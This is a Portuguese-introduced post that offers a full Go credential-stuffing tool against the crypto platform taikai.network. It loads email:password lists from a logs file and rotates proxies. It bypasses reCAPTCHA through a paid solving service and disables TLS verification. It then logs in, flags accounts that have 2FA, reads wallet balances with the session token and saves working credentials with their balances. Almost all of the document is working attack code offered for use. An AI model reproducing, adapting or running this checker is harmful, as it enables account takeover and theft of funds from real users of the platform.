taikai.network é um hub de desenvolvimento Web3 que permite aos usuários depositar e retirar criptografia.
Proxies suportados:
http
Socks4
Socks5
Após o login bem-sucedido, o script recuperará os seguintes valores:
User: Pass: Balance
Aviso, os seguintes pacotes devem ser instalados antes da execução do código
github.com /valyala/fastjson
github.com/andybalholm/brotli
A fonte também requer chave de cliente para "capsolver.com" que tenha saldo (adicione chave de cliente às linhas 136 e 122)
package main
import (
"bufio"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"crypto/tls"
"github.com/valyala/fastjson"
"github.com/andybalholm/brotli"
"strconv"
)
var (
proxies sync.Map // Concurrent map for proxies
accounts = []string{}
removeCh = make(chan int) // Channel for removing proxy keys
)
func WriteFile(name, content string) bool {
file, err := os.OpenFile(name, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
panic(err)
return false
}
defer file.Close()
if _, err := file.WriteString(content); err != nil {
panic(err)
return false
}
return true
}
func OpenFile(name string) []string {
file, err := os.Open(name)
if err != nil {
panic(err)
}
defer file.Close()
lines := []string{}
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
func init() {
accounts = OpenFile("logs.txt")
file, err := os.Open("proxies.txt")
if err != nil {
fmt.Println(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for i := 0; scanner.Scan(); i++ {
proxyURL, err := url.Parse(scanner.Text())
if err != nil {
fmt.Println("Proxy format not valid:", err)
} else {
if proxyURL.Scheme != "http" && proxyURL.Scheme != "socks5" && proxyURL.Scheme != "socks4" {
fmt.Printf("Invalid proxy format (required http or socks5): %s\n", proxyURL.Scheme)
} else {
proxies.Store(i, scanner.Text()) // Store key-value pair in sync.Map
}
}
}
}
func capSolver(taskID string, payload string) string {
var p fastjson.Parser
for{
url := "https://api.capsolver.com/getTaskResult"
payloadz := strings.NewReader(payload)
req, _ := http.NewRequest("POST", url, payloadz)
req.Header.Add("Content-Type", "application/json")
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
fmt.Println(err)
}
if strings.Contains(string(body), "processing") {
time.Sleep(3 * time.Second)
continue
}
if strings.Contains(string(body), "solution") {
pResult, err := p.Parse(string(body))
if err != nil {
fmt.Println("Err:", err)
}
gResult := pResult.GetStringBytes("solution", "gRecaptchaResponse")
return string(gResult)
}
}
return "";
}
func capSol() string {
var req *http.Request
var res *http.Response
var body []byte
var pResult *fastjson.Value
var p fastjson.Parser
var err error
url := "https://api.capsolver.com/createTask"
payload := strings.NewReader("{\n \"clientKey\": \"\",\n \"task\": {\n \"type\": \"ReCaptchaV2Task\",\n \"websiteURL\": \"https://taikai.network/login\",\n\n \"websiteKey\": \"6LdNxwMcAAAAANfYhbyby_nWrUfabvqlkS5nITIb\"\n }\n}")
req, _ = http.NewRequest("POST", url, payload)
res, _ = http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ = ioutil.ReadAll(res.Body)
pResult, err = p.Parse(string(body))
if err != nil {
fmt.Println(err)
}
taskID := pResult.GetStringBytes("taskId")
payloads := fmt.Sprintf("{\n \"clientKey\": \"\",\n \"taskId\": \"%s\"\n}", taskID)
solv := capSolver(string(taskID), payloads)
return string(solv)
}
func captBal(token string) int {
netClient := &http.Client{
Timeout: time.Second * 10,
//Transport: transport,
}
var req *http.Request
var res *http.Response
var err error
var body []byte
url := "https://api.taikai.network/api/graphql"
payload := fmt.Sprintf("{\"operationName\":\"USER_WALLETS\",\"variables\":{},\"query\":\"query USER_WALLETS {\\n me {\\n ... on GuestUser {\\n __typename\\n id\\n wallets {\\n id\\n currency\\n address\\n type\\n challenge {\\n id\\n name\\n currentStep {\\n id\\n __typename\\n }\\n isClosed\\n __typename\\n }\\n balance\\n __typename\\n }\\n }\\n ... on User {\\n __typename\\n id\\n wallets {\\n id\\n currency\\n address\\n type\\n challengeId\\n challenge {\\n id\\n name\\n currentStep {\\n id\\n __typename\\n }\\n isClosed\\n __typename\\n }\\n balance\\n __typename\\n }\\n }\\n __typename\\n }\\n}\\n\"}")
payloadz := strings.NewReader(payload)
req, err = http.NewRequest("POST", url, payloadz)
req.AddCookie(&http.Cookie{Name: "token", Value: token})
req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0")
req.Header.Add("Accept-Language", "en-GB,en;q=0.5")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Referer", "https://taikai.network/")
req.Header.Add("content-type", "application/json")
req.Header.Add("Origin", "https://taikai.network")
req.Header.Add("DNT", "1")
req.Header.Add("Sec-GPC", "1")
req.Header.Add("Connection", "keep-alive")
req.Header.Add("Sec-Fetch-Dest", "empty")
req.Header.Add("Sec-Fetch-Mode", "cors")
req.Header.Add("Sec-Fetch-Site", "same-site")
req.Header.Add("TE", "trailers")
res, err = netClient.Do(req)
if err != nil {
fmt.Println(err)
return -1
} else {
defer res.Body.Close()
}
reader := brotli.NewReader(res.Body)
body, err = ioutil.ReadAll(reader)
if err != nil {
fmt.Println("Failed BR:", err)
}
convB := string(body)
if strings.Contains(convB, "wallets"){
var p fastjson.Parser
pResult, err := p.Parse(convB)
if err != nil {
fmt.Println("Err:", err)
}
tkaiBal := pResult.GetStringBytes("data", "me", "wallets", "0", "balance")
ethBal := pResult.GetStringBytes("data", "me", "wallets", "1", "balance")
tkConv, _ := strconv.Atoi(string(tkaiBal))
ethConv, _ := strconv.Atoi(string(ethBal))
totalBal := tkConv + ethConv + 3
fmt.Println(totalBal)
return totalBal
} else{
fmt.Println("Undefined:", convB)
return -1
}
}
func check(email string, pass string, proxy string) int {
for {
var req *http.Request
var res *http.Response
var err error
var body []byte
var token string
var succ bool
proxyURL, _ := url.Parse(proxy)
transport := &http.Transport{
Proxy: http.ProxyURL(proxyURL),
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
netClient := &http.Client{
Timeout: time.Second * 20,
Transport: transport,
}
test := capSol()
url := "https://api.taikai.network/api/graphql"
payload := fmt.Sprintf("{\"operationName\":\"SIGNIN\",\"variables\":{\"email\":\"%s\",\"password\":\"%s\",\"recaptchaToken\":\"%s\"},\"query\":\"mutation SIGNIN($email: String!, $password: String!, $recaptchaToken: String!) {\\n signin(email: $email, password: $password, token: $recaptchaToken) {\\n user {\\n id\\n username\\n __typename\\n }\\n state\\n challengeCode\\n __typename\\n }\\n}\\n\"}", email, pass, test)
payloadz := strings.NewReader(payload)
req, err = http.NewRequest("POST", url, payloadz)
if err != nil {
fmt.Println(err)
}
req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0")
req.Header.Add("Accept-Language", "en-GB,en;q=0.5")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Referer", "https://taikai.network/")
req.Header.Add("content-type", "application/json")
req.Header.Add("Origin", "https://taikai.network")
req.Header.Add("DNT", "1")
req.Header.Add("Sec-GPC", "1")
req.Header.Add("Connection", "keep-alive")
req.Header.Add("Sec-Fetch-Dest", "empty")
req.Header.Add("Sec-Fetch-Mode", "cors")
req.Header.Add("Sec-Fetch-Site", "same-site")
req.Header.Add("TE", "trailers")
res, err = netClient.Do(req)
if err != nil {
return 1
} else {
defer res.Body.Close()
}
reader := brotli.NewReader(res.Body)
body, err = ioutil.ReadAll(reader)
convB := string(body)
if err != nil {
fmt.Println("Failed BR:", err)
return 1
}
if strings.Contains(convB, "Cloudflare") {
return 1
} else if strings.Contains(convB, "CHALLENGE_INITIATED") {
succ = WriteFile("fun.txt", email + " 2FA ВКЛЮЧЕНО\n")
if succ == false{
fmt.Println("File write failed")
}
return 6
}else if strings.Contains(convB, "AUTHENTICATED") {
for _, c := range res.Cookies() {
if c.Name == "token" {
token = c.Value
bal := captBal(token)
if bal == -1 {
succ = WriteFile("fun.txt", email + ":" + pass+ ":" + "Bal capture failed")
if succ == false{
fmt.Println("File write failed" + email + ":" + pass+ ":" + "Bal capture failed")
}
} else {
succ = WriteFile("fun.txt", email + ":" + pass+ ":" + string(bal))
if succ == false{
fmt.Println("File write failed" + email + ":" + pass+ ":" + "Bal capture failed")
}
}
return 0
}
}
} else if strings.Contains(convB, "human") {
fmt.Println("Captcha failed")
continue
}else if strings.Contains(convB, "email or password is wrong") {
return 4
} else if strings.Contains(convB, "Unexpected") {
return 1
} else{
fmt.Println("Undefined error:", convB)
return 4
}
}
}
func getRandomProxy() (int, string) {
var randomKey int
var randomURL string
rand.Seed(time.Now().UnixNano())
// Create a slice to hold all keys
keys := make([]int, 0)
// Iterate over the map and collect keys
proxies.Range(func(key, value interface{}) bool {
keys = append(keys, key.(int))
return true // continue iteration
})
// If there are no keys, return empty values
if len(keys) == 0 {
return randomKey, randomURL
}
// Randomly select a key
for {
randomIndex := rand.Intn(len(keys))
randomKey = keys[randomIndex]
// Retrieve the corresponding value
if value, ok := proxies.Load(randomKey); ok {
randomURL = value.(string)
break // Exit the loop if value is found
} else {
continue
}
}
return randomKey, randomURL
}
func removeProxy(key int) {
proxies.Delete(key)
}
func proxyRemover() {
for key := range removeCh {
removeProxy(key)
}
}
func main() {
go proxyRemover() // Start proxy remover goroutine
// Check if proxies map is empty before starting goroutines
waitGroup := sync.WaitGroup{}
for i := 0; i < len(accounts); i++ {
waitGroup.Add(1)
account := strings.SplitN(accounts[i], ":", 2)
go func(email string, pass string) {
defer waitGroup.Done()
for {
key, randProxy := getRandomProxy()
if(randProxy == "") {
return
};
val := check(email, pass, randProxy)
if val == 4 {
fmt.Printf("Bad: %s\n", email)
return
} else if val == 1 {
fmt.Printf("%s | Bad Proxy: %s\n", email, randProxy)
removeCh <- key // Send key to remove from map
} else if val == 3 {
fmt.Println("Parse failed\n")
return
} else if val == 5 {
fmt.Printf("Account locked: %s\n", email)
return
} else if val == 6 {
fmt.Printf("Valid (MFA enabled): %s\n", email)
return
}else {
fmt.Printf("Good: %s\n", email)
return
}
}
}(account[0], account[1])
}
waitGroup.Wait()
close(removeCh) // Close the remove channel after all goroutines finish
fmt.Println("Checking complete\n")
}